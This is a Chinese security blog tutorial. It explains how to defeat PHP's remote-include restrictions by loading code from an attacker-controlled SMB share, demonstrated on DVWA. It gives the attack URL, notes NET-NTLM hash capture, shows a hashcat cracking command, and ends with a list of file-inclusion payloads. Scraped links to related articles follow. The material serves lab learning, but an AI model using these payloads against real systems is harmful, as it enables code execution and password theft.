文章来源|MS08067 公众号粉丝投稿

本文作者:VastSky(Ms08067实验室粉丝)

前言

本文我们讲如何绕过远程URL包含限制。在PHP开发环境php.ini配置文里”allow_url_fopen、allow_url_include“均为“off”的情况下,不允许PHP加载远程HTTP或FTP的url进行远程文件包含时。我们依旧可以使用SMB,来加载执行远程文件。

攻击思路

攻击者在发现目标服务器存在本地文件包含的情况下。可以通过配置SMB服务器,启用匿名浏览访问。利用有漏洞的PHP代码从SMB共享里访问PHP程序文件,查看代码是否被执行。

环境设置

1、配置php.ini文件禁用"allow_url_fopen" 和 "allow_url_include"

2、利用具有本地文件包含漏洞的程序,这里我们使用DVWA演示

3、使用impacket攻击框架中的smbserver

查看坏境

当前配置PHP版本为“7.3.4”:

确定PHP不允许远程文件包含

试图从我们kali主机包含文件时,应用程序抛出错误并且没有发生RFI

在kali上配置我们的SMB服务器

创建演示php程序文件

通过smbserver启动smb服务器

攻击文件包含漏洞参数

利用SMB的访问路径传入文件包含漏洞的参数里。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=\\192.168.0.101\share\phpinfo.php

目标机器从SMB共享中获取PHP文件并在应用程序服务器上顺利执行PHP代码,绕过了远程文件包含的限制。

攻击的同时我们在smbserver窗口也捕获到了NET-NTLMhash

最终我们不但成功执行了我们的php文件,同时我们还得到了远程系统用户的NET-NTLMhash。对于攻击思路,这边可以拓展一些,还可以对我们拿到的NET-NTLMhash进行破解。也可以使用Responder ntlmrelayx.py工具进行smb中继攻击,这里就不做详细讨论。

附加:hashcat对NET-NTLMhash

NTLMv2的格式为:

username::domain:challenge:HMAC-MD5:blob

hashcat -a 0 -m 5600 hash.txt wordlist--force

-m: hash-type,5600对应NetNTLMv2,查看hash对应的具体参数可以查看官方样例:

https://hashcat.net/wiki/doku.php?id=example_hashes

-a 0:字典破解

–force代表强制执行,测试系统不支持Intel OpenCL

成功破解出登录的明文密码,输出如下图

附录 allow_url_fopen和allow_url_include对文件包含的影响

allow_url_fopen  #允许url打开远程文件,如果url传入的参数是本地文件的不受此限制

当allow_url_fopen打开,allow_url_include关闭时

/fi/?page=file1.php                             #可以使用
/fi/?page=php://filter/read=convert.base64-encode/resource=D:\phpstudy_pro\WWW\one.txt  #可以使用
/fi/?page=file://D:\phpstudy_pro\WWW\one.txt     #可以使用
/fi/?page=http://127.0.0.1/one.txt               #不可以使用
/fi/?page=data:text/plain;base64,cXdlcmFhYQ==    #不可以使用
/fi/?page=php://input                            #不可以使用

当关闭了allow_url_open和allow_url_include时

/fi/?page=file1.php                             #可以使用
/fi/?page=file://D:\phpstudy_pro\WWW\one.txt     #可以使用
/fi/?page=php://filter/read=convert.base64-encode/resource=D:\phpstudy_pro\WWW\one.txt  #可以使用
/fi/?page=http://127.0.0.1/one.txt               #不可以使用
/fi/?page=data:text/plain;base64,cXdlcmFhYQ==    #不可以使用
/fi/?page=php://input                            #不可以使用

当allow_url_open关闭时,而allow_url_include开启的时候,只有php://input可以使用。php://input可以读取没有处理过的POST数据。php://input这个是不受allow_url_fopen影响。

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

 

目前40000+人已关注加入我们

PHP远程文件包含(RFI)并绕过远程URL包含限制相关推荐

  1. java 读取 远程文件_利用JAVA获取远程文件及使用断点续传 供学习者使用

    闲来没事,就做做,程序还是要多写才好@ 原理不说,文件方面及I/O方面,去BAIDU一下就知道,断点续传的原理也很简单,就是在原来已经下载的基础之上继续下载就可以了,用到了这么关键的一句:urlc.s ...

  2. python同步远程文件夹_python pyinotify 监控远程文件夹来实现即时全量同步

    git clone https://github.com/seb-m/pyinotify.git cd pyinotify python3.3 setup.py install 我们经常会遇到监控一个 ...

  3. php远程文件无法编辑,“脚本编辑器”远程文件编辑漏洞

    现场演示: https://atlaschb.com/accounts.newone/javascript/editor/example05_editingfile/default.php 结果: 存 ...

  4. php本地文件包含 截断,php远程文件包含截断问题

    今天在学习<白帽子讲web安全>一书是,提到一个php远程文件包含漏洞 可以从攻击者服务器中的一个写好的攻击脚本中远程执行命令 服务器中有漏洞的页面代码为: #test.php #erro ...

  5. 【玩转.Net MF – 03】远程文件查看器

    虽说目前.Net Micro Framework已经支持文件系统(FAT16/FAT32),但在远程还无法直接访问,从某种意义上讲,无法和PC交互的存储介质显得有些鸡肋.我做SideShow相关开发的 ...

  6. C#下载远程文件到本地

    using System; namespace DownRemoteFile {     class DownFile     {         #region 成员变量 private strin ...

  7. C# 判断远程文件是否存在

    #region 判断远程文件是否存在/// <summary>/// 判断远程文件是否存在/// </summary>/// <param name="file ...

  8. 试试Visual Studio中新的远程文件查看器

    今天,我们很高兴地宣布,在 Visual Studio 17.6 Preview 1 中,一项新的工具窗口诞生:远程文件查看器. 通过这个工具窗口,你可以从远程计算机上浏览,上传和下载文件.另外,可以 ...

  9. php 怎么远程包含,利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制...

    前言 文章讲诉了如何绕过远程URL包含限制.在PHP开发环境php.ini配置文件里",allow_url_include"为"off"的情况下,不允许PHP加 ...

最新文章

  1. python游戏编程书籍-《Python游戏编程快速上手》一1.3 如何使用本书
  2. NYOJ 117 求逆序数
  3. ⚡关于Eastmount博客「网络安全自学篇」系列重要通知!!!⚡
  4. linux下tomcat开启远程调试
  5. Centos7中安装python3.7、pip3以及pipenv(亲测有效)
  6. python数据抓取技术与实战训练_师傅带徒弟学Python:项目实战1:网络爬虫与抓取股票数据...
  7. SQL点滴9—使用with语句来写一个稍微复杂sql语句
  8. [转] 彻底了解指针数组,数组指针,以及函数指针,以及堆中的分配规则
  9. 清华大学出品:罚梯度范数提高深度学习模型泛化性
  10. idea代码上传到gitee组织流程
  11. messagebox的用法_酝酿已久,MessageBox类实例代码讲解
  12. 在Angular中添加第三方库jQuery、bootstrap
  13. 关于WM下创建和删除GPRS接入点
  14. 【数据工具】ArcGIS批量出图工具箱
  15. 乌班图vim怎么编译c语言,在Ubuntu上利用vim进行程序编写及运行
  16. LabVIEW与Microsoft Windows的兼容性
  17. 稳定排序与不稳定排序的区别
  18. 发布曾经出售过的PIC开发工具制作资料包括:JMD烧写器,串口ICD2,USB口ICD2.5
  19. Kotlin学习安卓篇(一)为什么要学习Kotlin?
  20. Windows 10 打印机驱动无法删除和卸载的解决办法

热门文章

  1. loj #3086. 「GXOI / GZOI2019」逼死强迫症
  2. 织梦手机站 html 插件,织梦DEDECMS手机端生成静态页面插件完整版
  3. opencv.js 4点透视变换
  4. 09盘点:梦幻诛仙蜀门剑网三的营销启示
  5. ZMIN XII条码机怎么设置流水号
  6. 微信和淘宝最赤裸的分析 转载
  7. react - 利用a标签,完成下载及跳转
  8. 【干货】你常用的5种地图数据汇总对比,值得收藏~
  9. win10 蓝牙耳机 音量太小
  10. 上汽招聘项目管理PMO(地点:上海,薪酬面议)